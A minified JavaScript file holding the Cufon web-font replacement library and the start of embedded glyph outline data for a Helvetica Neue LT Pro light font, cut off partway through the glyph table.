//Cufon
var Cufon=(function(){var m=function(){return m.replace.apply(null,arguments)};var x=m.DOM={ready:(function(){var C=false,E={loaded:1,complete:1};var B=[],D=function(){if(C){return}C=true;for(var F;F=B.shift();F()){}};if(document.addEventListener){document.addEventListener("DOMContentLoaded",D,false);window.addEventListener("pageshow",D,false)}if(!window.opera&&document.readyState){(function(){E[document.readyState]?D():setTimeout(arguments.callee,10)})()}if(document.readyState&&document.createStyleSheet){(function(){try{document.body.doScroll("left");D()}catch(F){setTimeout(arguments.callee,1)}})()}q(window,"load",D);return function(F){if(!arguments.length){D()}else{C?F():B.push(F)}}})(),root:function(){return document.documentElement||document.body}};var n=m.CSS={Size:function(C,B){this.value=parseFloat(C);this.unit=String(C).match(/[a-z%]*$/)[0]||"px";this.convert=function(D){return D/B*this.value};this.convertFrom=function(D){return D/this.value*B};this.toString=function(){return this.value+this.unit}},addClass:function(C,B){var D=C.className;C.className=D+(D&&" ")+B;return C},color:j(function(C){var B={};B.color=C.replace(/^rgba\((.*?),\s*([\d.]+)\)/,function(E,D,F){B.opacity=parseFloat(F);return"rgb("+D+")"});return B}),fontStretch:j(function(B){if(typeof B=="number"){return B}if(/%$/.test(B)){return parseFloat(B)/100}return{"ultra-condensed":0.5,"extra-condensed":0.625,condensed:0.75,"semi-condensed":0.875,"semi-expanded":1.125,expanded:1.25,"extra-expanded":1.5,"ultra-expanded":2}[B]||1}),getStyle:function(C){var B=document.defaultView;if(B&&B.getComputedStyle){return new a(B.getComputedStyle(C,null))}if(C.currentStyle){return new a(C.currentStyle)}return new a(C.style)},gradient:j(function(F){var G={id:F,type:F.match(/^-([a-z]+)-gradient\(/)[1],stops:[]},C=F.substr(F.indexOf("(")).match(/([\d.]+=)?(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)/ig);for(var E=0,B=C.length,D;E<B;++E){D=C[E].split("=",2).reverse();G.stops.push([D[1]||E/(B-1),D[0]])}return G}),quotedList:j(function(E){var D=[],C=/\s*((["'])([\s\S]*?[^\\])\2|[^,]+)\s*/g,B;while(B=C.exec(E)){D.push(B[3]||B[1])}return D}),recognizesMedia:j(function(G){var E=document.createElement("style"),D,C,B;E.type="text/css";E.media=G;try{E.appendChild(document.createTextNode("/**/"))}catch(F){}C=g("head")[0];C.insertBefore(E,C.firstChild);D=(E.sheet||E.styleSheet);B=D&&!D.disabled;C.removeChild(E);return B}),removeClass:function(D,C){var B=RegExp("(?:^|\\s+)"+C+"(?=\\s|$)","g");D.className=D.className.replace(B,"");return D},supports:function(D,C){var B=document.createElement("span").style;if(B[D]===undefined){return false}B[D]=C;return B[D]===C},textAlign:function(E,D,B,C){if(D.get("textAlign")=="right"){if(B>0){E=" "+E}}else{if(B<C-1){E+=" "}}return E},textShadow:j(function(F){if(F=="none"){return null}var E=[],G={},B,C=0;var D=/(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)|(-?[\d.]+[a-z%]*)|,/ig;while(B=D.exec(F)){if(B[0]==","){E.push(G);G={};C=0}else{if(B[1]){G.color=B[1]}else{G[["offX","offY","blur"][C++]]=B[2]}}}E.push(G);return E}),textTransform:(function(){var B={uppercase:function(C){return C.toUpperCase()},lowercase:function(C){return C.toLowerCase()},capitalize:function(C){return C.replace(/\b./g,function(D){return D.toUpperCase()})}};return function(E,D){var C=B[D.get("textTransform")];return C?C(E):E}})(),whiteSpace:(function(){var D={inline:1,"inline-block":1,"run-in":1};var C=/^\s+/,B=/\s+$/;return function(H,F,G,E){if(E){if(E.nodeName.toLowerCase()=="br"){H=H.replace(C,"")}}if(D[F.get("display")]){return H}if(!G.previousSibling){H=H.replace(C,"")}if(!G.nextSibling){H=H.replace(B,"")}return H}})()};n.ready=(function(){var B=!n.recognizesMedia("all"),E=false;var D=[],H=function(){B=true;for(var K;K=D.shift();K()){}};var I=g("link"),J=g("style");function C(K){return K.disabled||G(K.sheet,K.media||"screen")}function G(M,P){if(!n.recognizesMedia(P||"all")){return true}if(!M||M.disabled){return false}try{var Q=M.cssRules,O;if(Q){search:for(var L=0,K=Q.length;O=Q[L],L<K;++L){switch(O.type){case 2:break;case 3:if(!G(O.styleSheet,O.media.mediaText)){return false}break;default:break search}}}}catch(N){}return true}function F(){if(document.createStyleSheet){return true}var L,K;for(K=0;L=I[K];++K){if(L.rel.toLowerCase()=="stylesheet"&&!C(L)){return false}}for(K=0;L=J[K];++K){if(!C(L)){return false}}return true}x.ready(function(){if(!E){E=n.getStyle(document.body).isUsable()}if(B||(E&&F())){H()}else{setTimeout(arguments.callee,10)}});return function(K){if(B){K()}else{D.push(K)}}})();function s(D){var C=this.face=D.face,B={"\u0020":1,"\u00a0":1,"\u3000":1};this.glyphs=D.glyphs;this.w=D.w;this.baseSize=parseInt(C["units-per-em"],10);this.family=C["font-family"].toLowerCase();this.weight=C["font-weight"];this.style=C["font-style"]||"normal";this.viewBox=(function(){var F=C.bbox.split(/\s+/);var E={minX:parseInt(F[0],10),minY:parseInt(F[1],10),maxX:parseInt(F[2],10),maxY:parseInt(F[3],10)};E.width=E.maxX-E.minX;E.height=E.maxY-E.minY;E.toString=function(){return[this.minX,this.minY,this.width,this.height].join(" ")};return E})();this.ascent=-parseInt(C.ascent,10);this.descent=-parseInt(C.descent,10);this.height=-this.ascent+this.descent;this.spacing=function(L,N,E){var O=this.glyphs,M,K,G,P=[],F=0,J=-1,I=-1,H;while(H=L[++J]){M=O[H]||this.missingGlyph;if(!M){continue}if(K){F-=G=K[H]||0;P[I]-=G}F+=P[++I]=~~(M.w||this.w)+N+(B[H]?E:0);K=M.k}P.total=F;return P}}function f(){var C={},B={oblique:"italic",italic:"oblique"};this.add=function(D){(C[D.style]||(C[D.style]={}))[D.weight]=D};this.get=function(H,I){var G=C[H]||C[B[H]]||C.normal||C.italic||C.oblique;if(!G){return null}I={normal:400,bold:700}[I]||parseInt(I,10);if(G[I]){return G[I]}var E={1:1,99:0}[I%100],K=[],F,D;if(E===undefined){E=I>400}if(I==500){I=400}for(var J in G){if(!k(G,J)){continue}J=parseInt(J,10);if(!F||J<F){F=J}if(!D||J>D){D=J}K.push(J)}if(I<F){I=F}if(I>D){I=D}K.sort(function(M,L){return(E?(M>=I&&L>=I)?M<L:M>L:(M<=I&&L<=I)?M>L:M<L)?-1:1});return G[K[0]]}}function r(){function D(F,G){if(F.contains){return F.contains(G)}return F.compareDocumentPosition(G)&16}function B(G){var F=G.relatedTarget;if(!F||D(this,F)){return}C(this,G.type=="mouseover")}function E(F){C(this,F.type=="mouseenter")}function C(F,G){setTimeout(function(){var H=d.get(F).options;m.replace(F,G?h(H,H.hover):H,true)},10)}this.attach=function(F){if(F.onmouseenter===undefined){q(F,"mouseover",B);q(F,"mouseout",B)}else{q(F,"mouseenter",E);q(F,"mouseleave",E)}}}function u(){var C=[],D={};function B(H){var E=[],G;for(var F=0;G=H[F];++F){E[F]=C[D[G]]}return E}this.add=function(F,E){D[F]=C.push(E)-1};this.repeat=function(){var E=arguments.length?B(arguments):C,F;for(var G=0;F=E[G++];){m.replace(F[0],F[1],true)}}}function A(){var D={},B=0;function C(E){return E.cufid||(E.cufid=++B)}this.get=function(E){var F=C(E);return D[F]||(D[F]={})}}function a(B){var D={},C={};this.extend=function(E){for(var F in E){if(k(E,F)){D[F]=E[F]}}return this};this.get=function(E){return D[E]!=undefined?D[E]:B[E]};this.getSize=function(F,E){return C[F]||(C[F]=new n.Size(this.get(F),E))};this.isUsable=function(){return !!B}}function q(C,B,D){if(C.addEventListener){C.addEventListener(B,D,false)}else{if(C.attachEvent){C.attachEvent("on"+B,function(){return D.call(C,window.event)})}}}function v(C,B){var D=d.get(C);if(D.options){return C}if(B.hover&&B.hoverables[C.nodeName.toLowerCase()]){b.attach(C)}D.options=B;return C}function j(B){var C={};return function(D){if(!k(C,D)){C[D]=B.apply(null,arguments)}return C[D]}}function c(F,E){var B=n.quotedList(E.get("fontFamily").toLowerCase()),D;for(var C=0;D=B[C];++C){if(i[D]){return i[D].get(E.get("fontStyle"),E.get("fontWeight"))}}return null}function g(B){return document.getElementsByTagName(B)}function k(C,B){return C.hasOwnProperty(B)}function h(){var C={},B,F;for(var E=0,D=arguments.length;B=arguments[E],E<D;++E){for(F in B){if(k(B,F)){C[F]=B[F]}}}return C}function o(E,M,C,N,F,D){var K=document.createDocumentFragment(),H;if(M===""){return K}var L=N.separate;var I=M.split(p[L]),B=(L=="words");if(B&&t){if(/^\s/.test(M)){I.unshift("")}if(/\s$/.test(M)){I.push("")}}for(var J=0,G=I.length;J<G;++J){H=z[N.engine](E,B?n.textAlign(I[J],C,J,G):I[J],C,N,F,D,J<G-1);if(H){K.appendChild(H)}}return K}function l(D,M){var C=D.nodeName.toLowerCase();if(M.ignore[C]){return}var E=!M.textless[C];var B=n.getStyle(v(D,M)).extend(M);var F=c(D,B),G,K,I,H,L,J;if(!F){return}for(G=D.firstChild;G;G=I){K=G.nodeType;I=G.nextSibling;if(E&&K==3){if(H){H.appendData(G.data);D.removeChild(G)}else{H=G}if(I){continue}}if(H){D.replaceChild(o(F,n.whiteSpace(H.data,B,H,J),B,M,G,D),H);H=null}if(K==1){if(G.firstChild){if(G.nodeName.toLowerCase()=="cufon"){z[M.engine](F,null,B,M,G,D)}else{arguments.callee(G,M)}}J=G}}}var t=" ".split(/\s+/).length==0;var d=new A();var b=new r();var y=new u();var e=false;var z={},i={},w={autoDetect:false,engine:null,forceHitArea:false,hover:false,hoverables:{a:true},ignore:{applet:1,canvas:1,col:1,colgroup:1,head:1,iframe:1,map:1,optgroup:1,option:1,script:1,select:1,style:1,textarea:1,title:1,pre:1},printable:true,selector:(window.Sizzle||(window.jQuery&&function(B){return jQuery(B)})||(window.dojo&&dojo.query)||(window.Ext&&Ext.query)||(window.YAHOO&&YAHOO.util&&YAHOO.util.Selector&&YAHOO.util.Selector.query)||(window.$$&&function(B){return $$(B)})||(window.$&&function(B){return $(B)})||(document.querySelectorAll&&function(B){return document.querySelectorAll(B)})||g),separate:"words",textless:{dl:1,html:1,ol:1,table:1,tbody:1,thead:1,tfoot:1,tr:1,ul:1},textShadow:"none"};var p={words:/\s/.test("\u00a0")?/[^\S\u00a0]+/:/\s+/,characters:"",none:/^/};m.now=function(){x.ready();return m};m.refresh=function(){y.repeat.apply(y,arguments);return m};m.registerEngine=function(C,B){if(!B){return m}z[C]=B;return m.set("engine",C)};m.registerFont=function(D){if(!D){return m}var B=new s(D),C=B.family;if(!i[C]){i[C]=new f()}i[C].add(B);return m.set("fontFamily",'"'+C+'"')};m.replace=function(D,C,B){C=h(w,C);if(!C.engine){return m}if(!e){n.addClass(x.root(),"cufon-active cufon-loading");n.ready(function(){n.addClass(n.removeClass(x.root(),"cufon-loading"),"cufon-ready")});e=true}if(C.hover){C.forceHitArea=true}if(C.autoDetect){delete C.fontFamily}if(typeof C.textShadow=="string"){C.textShadow=n.textShadow(C.textShadow)}if(typeof C.color=="string"&&/^-/.test(C.color)){C.textGradient=n.gradient(C.color)}else{delete C.textGradient}if(!B){y.add(D,arguments)}if(D.nodeType||typeof D=="string"){D=[D]}n.ready(function(){for(var F=0,E=D.length;F<E;++F){var G=D[F];if(typeof G=="string"){m.replace(C.selector(G),C,true)}else{l(G,C)}}});return m};m.set=function(B,C){w[B]=C;return m};return m})();Cufon.registerEngine("vml",(function(){var e=document.namespaces;if(!e){return}e.add("cvml","urn:schemas-microsoft-com:vml");e=null;var b=document.createElement("cvml:shape");b.style.behavior="url(#default#VML)";if(!b.coordsize){return}b=null;var h=(document.documentMode||0)<8;document.write(('<style type="text/css">cufoncanvas{text-indent:0;}@media screen{cvml\\:shape,cvml\\:rect,cvml\\:fill,cvml\\:shadow{behavior:url(#default#VML);display:block;antialias:true;position:absolute;}cufoncanvas{position:absolute;text-align:left;}cufon{display:inline-block;position:relative;vertical-align:'+(h?"middle":"text-bottom")+";}cufon cufontext{position:absolute;left:-10000in;font-size:1px;}a cufon{cursor:pointer}}@media print{cufon cufoncanvas{display:none;}}</style>").replace(/;/g,"!important;"));function c(i,j){return a(i,/(?:em|ex|%)$|^[a-z-]+$/i.test(j)?"1em":j)}function a(l,m){if(m==="0"){return 0}if(/px$/i.test(m)){return parseFloat(m)}var k=l.style.left,j=l.runtimeStyle.left;l.runtimeStyle.left=l.currentStyle.left;l.style.left=m.replace("%","em");var i=l.style.pixelLeft;l.style.left=k;l.runtimeStyle.left=j;return i}function f(l,k,j,n){var i="computed"+n,m=k[i];if(isNaN(m)){m=k.get(n);k[i]=m=(m=="normal")?0:~~j.convertFrom(a(l,m))}return m}var g={};function d(p){var q=p.id;if(!g[q]){var n=p.stops,o=document.createElement("cvml:fill"),i=[];o.type="gradient";o.angle=180;o.focus="0";o.method="sigma";o.color=n[0][1];for(var m=1,l=n.length-1;m<l;++m){i.push(n[m][0]*100+"% "+n[m][1])}o.colors=i.join(",");o.color2=n[l][1];g[q]=o}return g[q]}return function(ac,G,Y,C,K,ad,W){var n=(G===null);if(n){G=K.alt}var I=ac.viewBox;var p=Y.computedFontSize||(Y.computedFontSize=new Cufon.CSS.Size(c(ad,Y.get("fontSize"))+"px",ac.baseSize));var y,q;if(n){y=K;q=K.firstChild}else{y=document.createElement("cufon");y.className="cufon cufon-vml";y.alt=G;q=document.createElement("cufoncanvas");y.appendChild(q);if(C.printable){var Z=document.createElement("cufontext");Z.appendChild(document.createTextNode(G));y.appendChild(Z)}if(!W){y.appendChild(document.createElement("cvml:shape"))}}var ai=y.style;var R=q.style;var l=p.convert(I.height),af=Math.ceil(l);var V=af/l;var P=V*Cufon.CSS.fontStretch(Y.get("fontStretch"));var U=I.minX,T=I.minY;R.height=af;R.top=Math.round(p.convert(T-ac.ascent));R.left=Math.round(p.convert(U));ai.height=p.convert(ac.height)+"px";var F=Y.get("color");var ag=Cufon.CSS.textTransform(G,Y).split("");var L=ac.spacing(ag,f(ad,Y,p,"letterSpacing"),f(ad,Y,p,"wordSpacing"));if(!L.length){return null}var k=L.total;var x=-U+k+(I.width-L[L.length-1]);var ah=p.convert(x*P),X=Math.round(ah);var O=x+","+I.height,m;var J="r"+O+"ns";var u=C.textGradient&&d(C.textGradient);var o=ac.glyphs,S=0;var H=C.textShadow;var ab=-1,aa=0,w;while(w=ag[++ab]){var D=o[ag[ab]]||ac.missingGlyph,v;if(!D){continue}if(n){v=q.childNodes[aa];while(v.firstChild){v.removeChild(v.firstChild)}}else{v=document.createElement("cvml:shape");q.appendChild(v)}v.stroked="f";v.coordsize=O;v.coordorigin=m=(U-S)+","+T;v.path=(D.d?"m"+D.d+"xe":"")+"m"+m+J;v.fillcolor=F;if(u){v.appendChild(u.cloneNode(false))}var ae=v.style;ae.width=X;ae.height=af;if(H){var s=H[0],r=H[1];var B=Cufon.CSS.color(s.color),z;var N=document.createElement("cvml:shadow");N.on="t";N.color=B.color;N.offset=s.offX+","+s.offY;if(r){z=Cufon.CSS.color(r.color);N.type="double";N.color2=z.color;N.offset2=r.offX+","+r.offY}N.opacity=B.opacity||(z&&z.opacity)||1;v.appendChild(N)}S+=L[aa++]}var M=v.nextSibling,t,A;if(C.forceHitArea){if(!M){M=document.createElement("cvml:rect");M.stroked="f";M.className="cufon-vml-cover";t=document.createElement("cvml:fill");t.opacity=0;M.appendChild(t);q.appendChild(M)}A=M.style;A.width=X;A.height=af}else{if(M){q.removeChild(M)}}ai.width=Math.max(Math.ceil(p.convert(k*P)),0);if(h){var Q=Y.computedYAdjust;if(Q===undefined){var E=Y.get("lineHeight");if(E=="normal"){E="1em"}else{if(!isNaN(E)){E+="em"}}Y.computedYAdjust=Q=0.5*(a(ad,E)-parseFloat(ai.height))}if(Q){ai.marginTop=Math.ceil(Q)+"px";ai.marginBottom=Q+"px"}}return y}})());Cufon.registerEngine("canvas",(function(){var b=document.createElement("canvas");if(!b||!b.getContext||!b.getContext.apply){return}b=null;var a=Cufon.CSS.supports("display","inline-block");var e=!a&&(document.compatMode=="BackCompat"||/frameset|transitional/i.test(document.doctype.publicId));var f=document.createElement("style");f.type="text/css";f.appendChild(document.createTextNode(("cufon{text-indent:0;}@media screen,projection{cufon{display:inline;display:inline-block;position:relative;vertical-align:middle;"+(e?"":"font-size:1px;line-height:1px;")+"}cufon cufontext{display:-moz-inline-box;display:inline-block;width:0;height:0;overflow:hidden;text-indent:-10000in;}"+(a?"cufon canvas{position:relative;}":"cufon canvas{position:absolute;}")+"}@media print{cufon{padding:0;}cufon canvas{display:none;}}").replace(/;/g,"!important;")));document.getElementsByTagName("head")[0].appendChild(f);function d(p,h){var n=0,m=0;var g=[],o=/([mrvxe])([^a-z]*)/g,k;generate:for(var j=0;k=o.exec(p);++j){var l=k[2].split(",");switch(k[1]){case"v":g[j]={m:"bezierCurveTo",a:[n+~~l[0],m+~~l[1],n+~~l[2],m+~~l[3],n+=~~l[4],m+=~~l[5]]};break;case"r":g[j]={m:"lineTo",a:[n+=~~l[0],m+=~~l[1]]};break;case"m":g[j]={m:"moveTo",a:[n=~~l[0],m=~~l[1]]};break;case"x":g[j]={m:"closePath"};break;case"e":break generate}h[g[j].m].apply(h,g[j].a)}return g}function c(m,k){for(var j=0,h=m.length;j<h;++j){var g=m[j];k[g.m].apply(k,g.a)}}return function(V,w,P,t,C,W){var k=(w===null);if(k){w=C.getAttribute("alt")}var A=V.viewBox;var m=P.getSize("fontSize",V.baseSize);var B=0,O=0,N=0,u=0;var z=t.textShadow,L=[];if(z){for(var U=z.length;U--;){var F=z[U];var K=m.convertFrom(parseFloat(F.offX));var I=m.convertFrom(parseFloat(F.offY));L[U]=[K,I];if(I<B){B=I}if(K>O){O=K}if(I>N){N=I}if(K<u){u=K}}}var Z=Cufon.CSS.textTransform(w,P).split("");var E=V.spacing(Z,~~m.convertFrom(parseFloat(P.get("letterSpacing"))||0),~~m.convertFrom(parseFloat(P.get("wordSpacing"))||0));if(!E.length){return null}var h=E.total;O+=A.width-E[E.length-1];u+=A.minX;var s,n;if(k){s=C;n=C.firstChild}else{s=document.createElement("cufon");s.className="cufon cufon-canvas";s.setAttribute("alt",w);n=document.createElement("canvas");s.appendChild(n);if(t.printable){var S=document.createElement("cufontext");S.appendChild(document.createTextNode(w));s.appendChild(S)}}var aa=s.style;var H=n.style;var j=m.convert(A.height);var Y=Math.ceil(j);var M=Y/j;var G=M*Cufon.CSS.fontStretch(P.get("fontStretch"));var J=h*G;var Q=Math.ceil(m.convert(J+O-u));var o=Math.ceil(m.convert(A.height-B+N));n.width=Q;n.height=o;H.width=Q+"px";H.height=o+"px";B+=A.minY;H.top=Math.round(m.convert(B-V.ascent))+"px";H.left=Math.round(m.convert(u))+"px";var r=Math.max(Math.ceil(m.convert(J)),0)+"px";if(a){aa.width=r;aa.height=m.convert(V.height)+"px"}else{aa.paddingLeft=r;aa.paddingBottom=(m.convert(V.height)-1)+"px"}var X=n.getContext("2d"),D=j/A.height;X.scale(D,D*M);X.translate(-u,-B);X.save();function T(){var x=V.glyphs,ab,l=-1,g=-1,y;X.scale(G,1);while(y=Z[++l]){var ab=x[Z[l]]||V.missingGlyph;if(!ab){continue}if(ab.d){X.beginPath();if(ab.code){c(ab.code,X)}else{ab.code=d("m"+ab.d,X)}X.fill()}X.translate(E[++g],0)}X.restore()}if(z){for(var U=z.length;U--;){var F=z[U];X.save();X.fillStyle=F.color;X.translate.apply(X,L[U]);T()}}var q=t.textGradient;if(q){var v=q.stops,p=X.createLinearGradient(0,A.minY,0,A.maxY);for(var U=0,R=v.length;U<R;++U){p.addColorStop.apply(p,v[U])}X.fillStyle=p}else{X.fillStyle=P.get("color")}T();return s}})());
Cufon.registerFont({"w":200,"face":{"font-family":"Helvetica Neue LT Pro","font-weight":300,"font-stretch":"normal","units-per-em":"360","panose-1":"2 11 4 3 2 2 2 2 2 4","ascent":"257","descent":"-103","x-height":"5","bbox":"-11 -348 325 77","underline-thickness":"18","underline-position":"-18","stemh":"19","stemv":"23","unicode-range":"U+0020-U+00F6"},"glyphs":{" ":{"w":100},"!":{"d":"59,0r-31,0r0,-38r31,0r0,38xm37,-64r-6,-116r0,-77r25,0r0,77r-6,116r-13,0","w":86},"\"":{"d":"79,-170r0,-87r23,0r0,87r-23,0xm31,-170r0,-87r23,0r0,87r-23,0","w":133},"#":{"d":"131,-153r-51,0r-8,57r51,0xm179,-96r0,16r-40,0r-11,80r-18,0r11,-80r-51,0r-11,80r-18,0r11,-80r-39,0r0,-16r41,0r8,-57r-39,0r0,-16r41,0r12,-80r18,0r-12,80r51,0r11,-80r18,0r-11,80r38,0r0,16r-40,0r-8,57r38,0"},"$":{"d":"10,-82r23,0v0,42,22,64,60,68r0,-106v-41,-9,-76,-22,-76,-72v0,-43,34,-70,76,-70r0,-29r14,0r0,29v42,0,77,31,76,78r-23,0v0,-36,-21,-59,-53,-59r0,103v41,9,83,23,83,73v0,48,-41,72,-83,72r0,31r-14,0r0,-31v-56,-5,-81,-32,-83,-87xm93,-143r0,-100v-29,0,-53,15,-53,53v0,33,26,40,53,47xm107,-117r0,103v30,0,60,-15,60,-52v0,-34,-32,-44,-60,-51"},"%":{"d":"82,-254v41,0,57,29,57,68v0,39,-16,68,-57,68v-41,0,-57,-29,-57,-68v0,-39,16,-68,57,-68xm240,-114v-31,0,-38,29,-38,52v0,23,7,51,38,51v30,0,38,-28,38,-51v0,-23,-8,-52,-38,-52xm240,-131v41,0,57,29,57,68v0,39,-16,68,-57,68v-41,0,-57,-29,-57,-68v0,-39,16,-68,57,-68xm68,12r163,-273r17,0r-162,273r-18,0xm82,-238v-31,0,-38,29,-38,52v0,23,7,52,38,52v30,0,38,-29,38,-52v0,-23,-8,-52,-38,-52","w":320},"&":{"d":"102,-238v-19,0,-34,11,-34,33v0,18,17,38,29,52v18,-12,39,-27,39,-52v0,-22,-15,-33,-34,-33xm195,0r-28,-33v-37,58,-154,50,-153,-34v0,-36,34,-61,63,-76v-14,-18,-32,-37,-32,-62v0,-31,26,-52,57,-52v31,0,57,21,57,52v0,32,-24,51,-50,67r56,67v6,-13,7,-23,7,-43r23,0v0,14,-3,40,-15,62r43,52r-28,0xm153,-50r-64,-78v-25,13,-52,33,-52,64v0,30,27,50,56,50v26,0,46,-15,60,-36","w":219},"(":{"d":"87,69r-18,0v-67,-97,-67,-235,0,-331r18,0v-60,97,-62,235,0,331","w":86},")":{"d":"0,-262r18,0v67,97,66,235,0,331r-18,0v61,-97,61,-235,0,-331","w":86},"*":{"d":"51,-200r-41,-14r5,-14r41,15r0,-44r14,0r0,44r42,-15r5,14r-42,14r25,35r-11,8r-26,-36r-27,36r-11,-8","w":126},"+":{"d":"99,-100r0,-81r19,0r0,81r81,0r0,19r-81,0r0,81r-19,0r0,-81r-81,0r0,-19r81,0","w":216},",":{"d":"35,-38r30,0v1,41,1,77,-32,87r0,-15v12,-4,18,-23,17,-34r-15,0r0,-38","w":100},"-":{"d":"112,-89r-90,0r0,-20r90,0r0,20","w":133},".":{"d":"65,0r-30,0r0,-38r30,0r0,38","w":100},"\/":{"d":"15,5r-20,0r111,-267r19,0","w":119},"0":{"d":"100,-254v73,0,88,70,88,129v0,59,-15,130,-88,130v-73,0,-88,-70,-88,-129v0,-59,15,-130,88,-130xm100,-235v-58,0,-65,66,-65,110v0,44,7,111,65,111v58,0,65,-67,65,-111v0,-44,-7,-110,-65,-110"},"1":{"d":"35,-187r0,-16v40,-1,64,-3,71,-49r18,0r0,252r-22,0r0,-187r-67,0"},"2":{"d":"178,-183v-1,86,-117,92,-139,162r140,0r0,21r-166,0v1,-75,77,-96,121,-136v37,-33,21,-99,-35,-99v-41,0,-58,33,-57,70r-23,0v-1,-52,26,-89,81,-89v44,0,78,24,78,71"},"3":{"d":"12,-80r23,0v-2,40,23,66,63,66v33,0,64,-19,64,-55v-1,-43,-35,-58,-80,-54r0,-19v38,3,71,-6,71,-46v0,-33,-25,-47,-55,-47v-37,0,-59,27,-58,64r-22,0v0,-48,30,-83,79,-83v39,0,78,19,78,64v0,27,-15,49,-42,56v33,5,52,30,52,63v0,49,-41,76,-87,76v-52,0,-90,-31,-86,-85"},"4":{"d":"31,-82r96,0r-1,-137xm11,-63r0,-22r116,-167r21,0r0,170r38,0r0,19r-38,0r0,63r-21,0r0,-63r-116,0"},"5":{"d":"13,-72r23,0v1,35,27,58,62,58v39,0,63,-31,63,-68v0,-65,-90,-89,-121,-36r-19,0r24,-131r126,0r0,21r-110,0r-16,84v48,-51,138,-11,138,64v0,49,-39,85,-87,85v-47,0,-82,-29,-83,-77"},"6":{"d":"182,-188r-23,0v-4,-28,-23,-47,-52,-47v-58,-1,-72,69,-69,113v12,-25,38,-42,67,-42v50,0,83,35,83,84v0,49,-35,85,-85,85v-61,0,-89,-36,-89,-134v0,-30,8,-125,90,-125v45,0,73,22,78,66xm104,-145v-40,0,-62,30,-62,67v0,36,19,64,63,64v36,0,60,-29,60,-64v0,-37,-22,-67,-61,-67"},"7":{"d":"18,-228r0,-21r162,0r0,21v-32,33,-96,111,-102,228r-24,0v6,-85,34,-148,104,-228r-140,0"},"8":{"d":"100,-144v28,0,54,-15,54,-47v0,-29,-24,-44,-54,-44v-28,0,-54,15,-54,44v0,33,27,47,54,47xm176,-191v1,28,-17,46,-41,56v33,7,52,30,52,64v0,51,-39,76,-87,76v-48,0,-87,-25,-87,-76v0,-34,22,-57,51,-65v-26,-8,-41,-27,-41,-55v1,-84,152,-85,153,0xm100,-14v36,0,64,-18,64,-57v0,-36,-30,-54,-64,-54v-35,0,-64,17,-64,54v0,38,28,57,64,57"},"9":{"d":"18,-60r23,0v4,28,24,46,53,46v58,1,71,-68,68,-112v-12,25,-38,41,-67,41v-50,0,-83,-35,-83,-84v0,-49,36,-85,86,-85v61,0,88,36,88,134v0,30,-8,125,-90,125v-45,0,-73,-21,-78,-65xm96,-104v40,0,62,-29,62,-66v0,-36,-19,-65,-63,-65v-36,0,-60,30,-60,65v0,37,22,66,61,66"},":":{"d":"65,0r-30,0r0,-38r30,0r0,38xm65,-142r-30,0r0,-38r30,0r0,38","w":100},";":{"d":"65,-142r-30,0r0,-38r30,0r0,38xm35,-38r30,0v1,41,1,77,-32,87r0,-15v12,-4,18,-23,17,-34r-15,0r0,-38","w":100},"<":{"d":"199,-17r0,20r-182,-84r0,-20r182,-84r0,20r-160,74","w":216},"=":{"d":"199,-65r0,19r-181,0r0,-19r181,0xm199,-136r0,19r-181,0r0,-19r181,0","w":216},">":{"d":"17,-17r160,-74r-160,-74r0,-20r182,84r0,20r-182,84r0,-20","w":216},"?":{"d":"83,0r0,-38r30,0r0,38r-30,0xm87,-64v-12,-64,65,-75,65,-131v0,-29,-24,-48,-52,-48v-39,0,-59,28,-58,65r-23,0v0,-51,30,-84,82,-84v40,0,73,24,73,66v0,61,-77,69,-65,132r-22,0","w":193},"@":{"d":"221,-196r-35,104v-5,15,-7,30,5,30v32,0,61,-50,61,-90v0,-59,-46,-94,-102,-94v-67,0,-114,53,-114,119v0,65,48,116,114,116v35,0,72,-18,93,-48r19,0v-22,39,-67,64,-112,64v-78,0,-133,-59,-133,-135v0,-75,59,-132,132,-132v69,0,122,46,122,112v0,58,-43,104,-83,104v-13,0,-24,-8,-25,-24v-26,39,-94,26,-94,-29v0,-50,35,-104,86,-104v16,0,30,9,38,31r9,-24r19,0xm153,-184v-37,0,-61,51,-61,84v0,22,13,34,30,34v33,0,60,-52,60,-84v0,-17,-15,-34,-29,-34","w":288},"A":{"d":"114,-233r-52,132r101,0xm-3,0r104,-257r28,0r100,257r-26,0r-31,-80r-117,0r-31,80r-27,0","w":226,"k":{"y":6,"w":6,"v":6,"Y":27,"W":2,"V":18,"T":24}},"B":{"d":"50,-236r0,92v57,0,143,9,143,-44v0,-62,-84,-46,-143,-48xm26,0r0,-257v81,4,188,-23,191,63v0,27,-18,52,-45,58v33,4,55,30,55,63v0,24,-8,73,-92,73r-109,0xm50,-123r0,102v66,-4,149,19,152,-53v2,-62,-90,-48,-152,-49","w":240},"C":{"d":"238,-179r-24,0v-9,-40,-42,-63,-79,-63v-132,1,-130,226,0,227v48,0,77,-37,82,-83r25,0v-7,63,-47,103,-107,103v-81,0,-121,-63,-121,-134v0,-71,40,-133,121,-133v49,0,96,29,103,83","w":253},"D":{"d":"26,0r0,-257r89,0v78,2,118,43,118,128v0,85,-40,129,-118,129r-89,0xm50,-236r0,215v97,5,158,-9,158,-108v0,-99,-61,-113,-158,-107","w":246},"E":{"d":"26,0r0,-257r177,0r0,21r-153,0r0,93r144,0r0,21r-144,0r0,101r155,0r0,21r-179,0","w":213},"F":{"d":"26,0r0,-257r163,0r0,21r-139,0r0,93r124,0r0,21r-124,0r0,122r-24,0","w":193,"k":{"\u00c5":20,"\u00c4":20,"A":20,".":46,",":46}},"G":{"d":"246,-131r0,131r-18,0v-2,-15,0,-34,-4,-47v-17,37,-52,52,-89,52v-81,0,-121,-63,-121,-134v0,-71,40,-133,121,-133v54,0,97,29,107,85r-24,0v-3,-30,-34,-65,-83,-65v-132,1,-130,226,0,227v57,0,90,-40,89,-95r-88,0r0,-21r110,0","w":266},"H":{"d":"26,0r0,-257r24,0r0,112r153,0r0,-112r25,0r0,257r-25,0r0,-125r-153,0r0,125r-24,0","w":253},"I":{"d":"28,0r0,-257r24,0r0,257r-24,0","w":79},"J":{"d":"130,-82r0,-175r24,0r0,185v0,52,-20,77,-75,77v-59,0,-71,-42,-71,-87r24,0v1,22,-2,67,49,67v39,0,49,-20,49,-67","w":180},"K":{"d":"26,0r0,-257r24,0r0,138r150,-138r33,0r-115,106r120,151r-31,0r-107,-134r-50,46r0,88r-24,0","w":233},"L":{"d":"26,0r0,-257r24,0r0,236r144,0r0,21r-168,0","w":193,"k":{"y":13,"Y":40,"W":20,"V":33,"T":33}},"M":{"d":"25,0r0,